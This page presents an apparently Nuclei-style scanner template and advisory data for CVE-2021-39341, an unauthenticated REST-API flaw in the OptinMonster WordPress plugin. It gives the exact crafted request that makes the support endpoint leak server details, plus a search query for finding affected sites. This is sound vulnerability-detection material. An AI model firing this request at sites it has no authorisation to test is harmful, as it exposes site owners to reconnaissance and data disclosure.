OptinMonster Plugin < 2.6.5 - Unprotected REST-API
CVE-2021-39341
Verified
Description
The OptinMonster WordPress plugin is vulnerable to sensitive information disclosure and unauthorized setting updates due to insufficient authorization validation via the logged_in_or_has_api_key function in the ~/OMAPI/RestApi.php file that can used to exploit inject malicious web scripts on sites with the plugin installed. This affects versions up to, and including, 2.6.4.
Severity
High
CVSS Score
8.2
Exploit Probability
0%
Affected Product
optinmonster
Published Date
June 9, 2025
Template Author
iamnoooob, pdresearch
CVE-2021-39341.yaml
id: CVE-2021-39341 info: name: OptinMonster Plugin < 2.6.5 - Unprotected REST-API author: iamnoooob,pdresearch severity: high description: | The OptinMonster WordPress plugin is vulnerable to sensitive information disclosure and unauthorized setting updates due to insufficient authorization validation via the logged_in_or_has_api_key function in the ~/OMAPI/RestApi.php file that can used to exploit inject malicious web scripts on sites with the plugin installed. This affects versions up to, and including, 2.6.4. reference: - https://nvd.nist.gov/vuln/detail/CVE-2021-39341 - https://plugins.trac.wordpress.org/browser/optinmonster/trunk/OMAPI/RestApi.php?rev=2606519#L1460 - https://wordfence.com/vulnerability-advisories/#CVE-2021-39341 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N cvss-score: 8.2 cve-id: CVE-2021-39341 cwe-id: CWE-285,CWE-863 epss-score: 0.00492 epss-percentile: 0.64518 cpe: cpe:2.3:a:optinmonster:optinmonster:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 1 vendor: optinmonster product: optinmonster framework: wordpress publicwww-query: "/wp-content/plugins/optinmonster" tags: cve,cve221,wordpress,wp-plugin,optinmonster,rest-api,disclosure,unauth,exposure,kev http: - raw: - | OPTIONS /wp-json/omapp/v1/support HTTP/1.1 Host: {{Hostname}} X-HTTP-Method-Override: GET Referer: https://wp.app.optinmonster.test matchers: - type: word part: body words: - "PHP Version" - "OptinMonster" - '"functions.php"' - "Server Info" condition: and # digest: 4b0a00483046022100d2fbb68a3692aadfa08b224d8057f55ceb52a4ccb745fa6036096a43711e49a4022100eb344738c66d626fe050c0e054c91122050b6c906c19a1620eb3a971314e03d9:922c64590222798bb761d5b6d8e72950
8.2Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
CVE ID:
cve-2021-39341
CWE ID:
cwe-285, cwe-863